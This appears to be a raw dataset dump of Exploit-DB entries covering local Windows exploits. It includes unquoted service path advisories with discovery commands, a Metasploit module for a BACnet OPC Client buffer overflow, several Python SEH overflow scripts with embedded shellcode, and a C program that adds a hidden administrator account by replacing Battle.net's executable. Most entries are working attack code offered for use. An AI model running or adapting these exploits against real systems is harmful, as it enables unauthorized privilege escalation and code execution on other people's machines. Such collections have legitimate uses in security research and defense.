deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49889
Description: Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-20
Author: Emmanuel Lujan

Exploit:
# Exploit Title: Acer Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Discovery Date: 2021-05-19
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home
# Tested Version: 3.0.0.99
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

NTI IScheduleSvc                                                        NTI ISch
eduleSvc                              C:\Program Files (x86)\NTI\Acer Backup Man
ager\IScheduleSvc.exe                                     Auto


# Service info:

C:\>sc qc "NTI IScheduleSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NTI IScheduleSvc
        TYPE               : 110  WIN32_OWN_PROCESS <interactive>
        START_TYPE         : 2   AUTO_START  
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Acer Backup Manager\IScheduleSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NTI IScheduleSvc
        DEPENDENCIES       :                            
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other
 security applications where it could potentially be executed during application startup or reboot. If successful, the local user's 
code would execute with the elevated privileges of the application.
Exploit-DB #16668
Description: BACnet OPC Client - Local Buffer Overflow (Metasploit) (2)
Type: local
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: bacnet_csv.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BACnet OPC Client Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SCADA
				Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
				parses a specially crafted csv file, arbitrary code may be
				executed.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Jeremy Brown', 'MC' ],
			'Version'        => '$Revision: 11039 $',
			'References'     =>
				[
					[ 'OSVDB', '68096'],
					[ 'BID', '43289' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'MinNops'  => 0,
					'MaxNops'  => 0,
					'Space'    => 698,
					'BadChars' =>  Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English',   { 'Ret' => 0x77e26323 } ],
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 16 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new( 'FILENAME',  [ false, 'The file name.',  'msf.csv' ]),
			], self.class)

	end

	def exploit

		csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
		csv << rand_text_alpha_upper(185)
		csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
		csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
		csv << "\\scada,0,0,\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(csv)

	end

end
Exploit-DB #1161
Description: BakBone NetVault 7.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2005-04-27
Author: Reed Arvin

Exploit:
// ===== Start UnhideNetVaultServiceWindow.c ======
#include <stdio.h>
#include <windows.h>

int main( void )
{
	HWND hWnd;
	char szWindowName[] = "C:\\Program Files\\BakBone Software\\NetVault\\bin\\nvstatsmngr.exe";

	printf( "Finding window %s\n", szWindowName );

	hWnd = FindWindow( NULL, szWindowName );

	if ( hWnd == NULL )
	{
		printf( "ERROR! Could not find window %s\n", szWindowName );
	
		exit( 1 );
	}

	ShowWindow( hWnd, SW_SHOW );

	return 0;
}
// ===== End UnhideNetVaultServiceWindow.c ======

/*
1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window will
   appear. Access the window menu in the upper left and click Properties.

2. Right click on the word Window under the Display Options and click What's This?

3. Right click on the help text that is shown in yellow and click Print Topic.

4. Right click on any printer and click Open.

5. Click Help, Help Topics.

6. Right click in the right side of the help screen and click View Source.

7. Notepad will appear (running under the context of the LocalSystem account).
   Click File, click Open.

8. Change Files of type: to All Files, navigate to the system32 directory and
   locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

*/

// milw0rm.com [2005-04-27]
Exploit-DB #48591
Description: Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-06-16
Author: boku

Exploit:
# Exploit Title: Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path
# Exploit Author: Bobby Cooke
# Date: 2020-07-15
# Vendor Site: https://www.10-strike.com/
# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Version 3.9

# Vulnerability Type: 
# Local Privilege Escalation to LocalSystem by Unquoted Service Path.

# Vulnerability Description:
# The 10-Strike Bandwidth Monitor v3.9 services "Svc10StrikeBandMontitor", "Svc10StrikeBMWD", and "Svc10StrikeBMAgent" suffer 
# from unquoted service path vulnerabilities that allow attackers to achieve Privilege Escalation to SYSTEM, at startup, 
# by placing a malicious binary in the truncated service path; such as "C:\Program.exe".

C:\Users\boku>wmic service get name,pathname,startmode,StartName | findstr "10-Strike Bandwidth Monitor"
Svc10StrikeBandMonitor    C:\Program Files\10-Strike Bandwidth Monitor\BMsvc.exe          Auto   LocalSystem
Svc10StrikeBMWD           C:\Program Files\10-Strike Bandwidth Monitor\BMWDsvc.exe        Auto   LocalSystem
Svc10StrikeBMAgent        C:\Program Files\10-Strike Bandwidth Monitor Agent\BMAgent.exe  Auto   LocalSystem
Exploit-DB #12516
Description: BaoFeng Storm - '.m3u' File Processing Buffer Overflow
Type: local
Platform: windows
Date: 2010-05-06
Author: Lufeng Li & Qingshan Li

Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit
# CNVD-ID: CNVD-2010-00752
# Author: Lufeng Li and Qingshan Li of Neusoft Corporation
# Download: www.baofeng.com
# Test: Put m3u file in root(e.g. c:/ d:/),and open this m3u file
# Platform: Windows XPSP3 Chinese Simplified
# Vulnerable: Storm2012 3.10.4.21
# Storm2012 3.10.4.16
# Storm2012 3.10.4.8
# Storm2012 3.10.3.17
# Storm2012 3.10.2.5
# Storm2012 3.10.1.12
#################################################################
# Code :
file= "baofeng.m3u"
junk ="\x41"*795
nseh="\x61\xe8\xe1"
seh="\xaa\xd7\x40"

jmp ="\x53\x53\x6d\x58\x6d\x05\x11\x22\x6d\x2d\x10\x22\x6d\xac\xe4"
nops ="\x42" * 110
shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZA"
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
"QQ2LRCM0LJA")

fobj=open(file,"w")
payload=junk+nseh+seh+jmp+nops+shellcode
fobj.write(payload)
fobj.close()
Exploit-DB #48740
Description: BarcodeOCR 19.3.6 - 'BarcodeOCR' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-08-10
Author: Daniel Bertoni

Exploit:
# Exploit Title: BarcodeOCR 19.3.6 - 'BarcodeOCR' Unquoted Service Path
# Discovery Date: 2020-07-31
# Response from BarcodeOCR Support: 08/03/2020
# Exploit Author: Daniel Bertoni
# Vendor Homepage: https://www.barcode-ocr.com/
# Version: 19.3.6
# Tested on: Windows Server 2016, Windows 10

# Find the Unquoted Service Path Vulnerability:

C:\wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

BarcodeOCR	Auto	BarcodeOCR	C:\Program Files (x86)\BarcodeOCR\Service.exe

# Service info:

C:\sc qc CodeMeter.exe
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BarcodeOCR
        TIPO               	  : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO         	  : 2   AUTO_START
        CONTROLLO_ERRORE   	  : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\BarcodeOCR\Service.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                	  : 0
        NOME_VISUALIZZATO         : BarcodeOCR
        DIPENDENZE       	  :
        SERVICE_START_NAME : LocalSystem


# Exploit:

A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.
Exploit-DB #47675
Description: BartVPN 1.2.2 - 'BartVPNService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-19
Author: ZwX

Exploit:
#Exploit Title: BartVPN 1.2.2 - 'BartVPNService' Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-11-18
#Vendor Homepage : https://www.filehorse.com/
#Link Software : https://www.filehorse.com/download-bartvpn/
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc BartVPNService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: BartVPNService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\ZwX\AppData\Local\BartVPN\BartVPNService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BartVPNService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #46021
Description: Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-12-20
Author: bzyo

Exploit:
#!/usr/bin/env python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH)
# Date: 12-20-18
# Vulnerable Software: Base64 Decoder 1.1.2
# Vendor Homepage: http://4mhz.de/b64dec.html
# Version: 1.1.2
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. copy/paste base.txt contents into 'save to file' section of app
# 3. select decode
# 4. pop calc

# orig dos poc from UN_NON, EDB: 39070

import struct

junk3 = "\x41" * 90

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c
#Payload size: 448 bytes
calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b"
"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70"
"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62"
"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f"
"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69"
"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42"
"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c"
"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61"
"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57"
"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b"
"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64"
"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53"
"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61"
"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b"
"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e"
"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74"
"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b"
"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b"
"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73"
"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f"
"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31"
"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45"
"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50"
"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a"
"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53"
"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41")

junk2 = "\xcc"*50

#jump to calc
jmp3 = "\xe9\xaf\xfd\xff\xff\xcc"

junk1 = "\xcc"*20

#jump to jmp3
jmp2 = "\xeb\xe4\xcc\xcc\xcc\xcc"

#jump to jmp2
jmp1 = "\xeb\xf8\xcc\xcc"

#0x0045241e : pop esi # pop ebx # ret
seh = struct.pack('<L',0x0045241e)

buffer = junk3 + calc + junk2 + jmp3 + junk1 + jmp2 + jmp1 + seh
    
with open("base.txt","wb") as f:
    f.write(buffer[:-1])
Exploit-DB #13909
Description: Batch Audio Converter Lite Edition 1.0.0.0 - Local Stack Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-06-17
Author: modpr0be

Exploit:
# Software Link:
http://www.freesoftwaretoolbox.com/files/batchaudio_setup.exe
# Tested on: Windows XP SP2
# Type of Vuln: SEH
# Code : bacon-exploit.py
# Greetz: Otoy, Postnix, Jasakom Community, Kilurah, Gesang, dan wedus-wedus
lainnya ^^
# Thanks: All OffSec member

#!/usr/bin/python

import struct

junk = "A" * 4132
nseh = "\xeb\x06\x90\x90"
seh = struct.pack('<L', 0x10029bb7) # pop edi pop esi ret from
lame_enc.dll
nop = "\x90" * 30
print "[+] Preparing for file.."
# windows/exec, CMD=calc.exe, EXITFUNC=seh
# 463 bytes, x86/alpha_mixed
shellcode = ("\x89\xe3\xdb\xc6\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4d\x59\x47\x70\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x48\x65\x45\x61\x4e\x32\x42\x44\x4e\x6b\x50\x52\x44\x70\x4c"
"\x4b\x50\x52\x44\x4c\x4e\x6b\x42\x72\x45\x44\x4c\x4b\x43\x42"
"\x46\x48\x44\x4f\x4d\x67\x51\x5a\x46\x46\x44\x71\x4b\x4f\x44"
"\x71\x49\x50\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x43\x32\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x46\x6d\x45\x51\x49\x57\x4d\x32\x48"
"\x70\x50\x52\x42\x77\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x43\x72"
"\x47\x4c\x47\x71\x4e\x30\x4c\x4b\x47\x30\x51\x68\x4f\x75\x4f"
"\x30\x42\x54\x42\x6a\x46\x61\x4a\x70\x46\x30\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x43\x68\x47\x50\x45\x51\x4b\x63\x4b\x53\x47"
"\x4c\x47\x39\x4e\x6b\x47\x44\x4e\x6b\x46\x61\x48\x56\x50\x31"
"\x49\x6f\x50\x31\x4f\x30\x4c\x6c\x4b\x71\x4a\x6f\x44\x4d\x46"
"\x61\x48\x47\x46\x58\x4d\x30\x44\x35\x49\x64\x43\x33\x43\x4d"
"\x48\x78\x47\x4b\x51\x6d\x47\x54\x51\x65\x4b\x52\x43\x68\x4e"
"\x6b\x46\x38\x47\x54\x47\x71\x4e\x33\x43\x56\x4e\x6b\x46\x6c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x46\x61\x4b\x63\x4e\x6b\x47"
"\x74\x4c\x4b\x43\x31\x4a\x70\x4c\x49\x42\x64\x44\x64\x46\x44"
"\x51\x4b\x51\x4b\x43\x51\x46\x39\x50\x5a\x42\x71\x4b\x4f\x4b"
"\x50\x46\x38\x51\x4f\x50\x5a\x4e\x6b\x45\x42\x48\x6b\x4c\x46"
"\x51\x4d\x51\x7a\x46\x61\x4c\x4d\x4f\x75\x4f\x49\x47\x70\x43"
"\x30\x43\x30\x46\x30\x42\x48\x50\x31\x4e\x6b\x50\x6f\x4d\x57"
"\x49\x6f\x4b\x65\x4f\x4b\x4b\x4e\x46\x6e\x50\x32\x49\x7a\x43"
"\x58\x4c\x66\x4f\x65\x4f\x4d\x4f\x6d\x4b\x4f\x48\x55\x47\x4c"
"\x47\x76\x51\x6c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x44\x35\x43"
"\x35\x4d\x6b\x47\x37\x45\x43\x42\x52\x50\x6f\x51\x7a\x45\x50"
"\x51\x43\x49\x6f\x4b\x65\x43\x53\x45\x31\x42\x4c\x43\x53\x46"
"\x4e\x45\x35\x51\x68\x42\x45\x43\x30\x45\x5a\x41\x41")

f = open('exploit.wav', 'w')
print "[+] Writing vulnerable WAV file.."
f.write(junk+nseh+seh+nop+shellcode)
f.close()
print "[+] Success writing file.."
Exploit-DB #48873
Description: Battle.Net 1.27.1.12428 - Insecure File Permissions
Type: local
Platform: windows
Date: 2020-10-13
Author: George Tsimpidas

Exploit:
# Exploit Title: Battle.Net 1.27.1.12428 - Insecure File Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop )
# Version Patch: 1.27.1.12428
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Battle.Net Launcher (Battle.net.exe) suffers from an elevation of
privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Users' group, making the entire directory
'Battle.net' and its files and sub-dirs world-writable.

## Insecure Folder Permission

C:\Program Files (x86)>icacls Battle.net

Battle.net BUILTIN\Users:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(F)

## Insecure File Permission

C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe"

Battle.net.exe BUILTIN\Users:(I)(F)
BUILTIN\Administrators:(I)(F)
FREY-OMEN\30698:(I)(F)


## Local Privilege Escalation Proof of Concept
#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

C:\Program Files (x86)\Battle.net> whoami

lowpriv

C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux

## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe

#4. Transfer created 'Battle.net.exe' to the Windows Host

#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files
(x86)\Battle.net>' Folder

C:\Program Files (x86)\Battle.net> move
C:\Users\lowpriv\Downloads\Battle.net.exe .

#6. Check that exploit admin user doesn't exists

C:\Program Files (x86)\Battle.net> net user placebo

The user name could not be found

#6. Reboot the Computer

C:\Program Files (x86)\Battle.net> shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
Exploit-DB #40362
Description: Battle.Net 1.5.0.7963 - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-13
Author: Tulpa

Exploit:
# Exploit Title: Battle.Net 1.5.0.7963 Local Privilege Escalation
# Date: 11/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: www.battle.net
# Software Link: https://eu.battle.net/account/download/
# Version: Version 1.5.0.7963
# Tested on: Windows 10 Professional x64 and Windows XP SP3 x86


1. Description:

Battle.Net installs by default to "C:\Program Files (x86)\Battle.Net" with weak folder permissions granting any built-in user account with full permission to the contents of

the directory and it's subfolders. This allows an attacker opportunity for their own code execution under any other user running the application. This is not limited to just

the Battle.Net directory, but also to any of Blizzards game installation folders as installed by Battle.Net.

2. Proof

C:\Program Files>cacls Battle.net
C:\Program Files\Battle.net BUILTIN\Users:(OI)(CI)F
                            BUILTIN\Administrators:(OI)(CI)F
                            CREATOR OWNER:(OI)(CI)F


C:\Program Files>cacls "Diablo III"
C:\Program Files\Diablo III BUILTIN\Users:(OI)(CI)F
                            BUILTIN\Administrators:(OI)(CI)F
                            CREATOR OWNER:(OI)(CI)F


C:\Program Files>cacls "StarCraft II"
C:\Program Files\StarCraft II BUILTIN\Users:(OI)(CI)F
                              BUILTIN\Administrators:(OI)(CI)F
                              CREATOR OWNER:(OI)(CI)F


C:\Program Files>cacls Hearthstone
C:\Program Files\Hearthstone BUILTIN\Users:(OI)(CI)F
                             BUILTIN\Administrators:(OI)(CI)F
                             CREATOR OWNER:(OI)(CI)F


C:\Program Files>cacls "Heroes of the Storm"
C:\Program Files\Heroes of the Storm BUILTIN\Users:(OI)(CI)F
                                     BUILTIN\Administrators:(OI)(CI)F
                                     CREATOR OWNER:(OI)(CI)F

C:\Program Files (x86)>cacls "World of Warcraft"
C:\Program Files (x86)\World of Warcraft BUILTIN\Users:(OI)(CI)F
                                         BUILTIN\Administrators:(OI)(CI)F
                                         CREATOR OWNER:(OI)(CI)F

3. Exploit:

Simply replace any of the game exe's or any of the dll's with your preferred payload and wait for execution.
Exploit-DB #50815
Description: BattlEye 0.9 - 'BEService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-10
Author: Saud Alenazi

Exploit:
# Exploit Title: BattlEye 0.9 - 'BEService' Unquoted Service Path
# Date: 09/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.battleye.com/
# Software Link: https://www.battleye.com/downloads/
# Version: 0.94
# Tested: Windows 10 Pro 
# Contact: https://twitter.com/dmaral3noz


C:\Users\saudh>sc qc BEService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BEService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\BattlEye\BEService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BattlEye Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.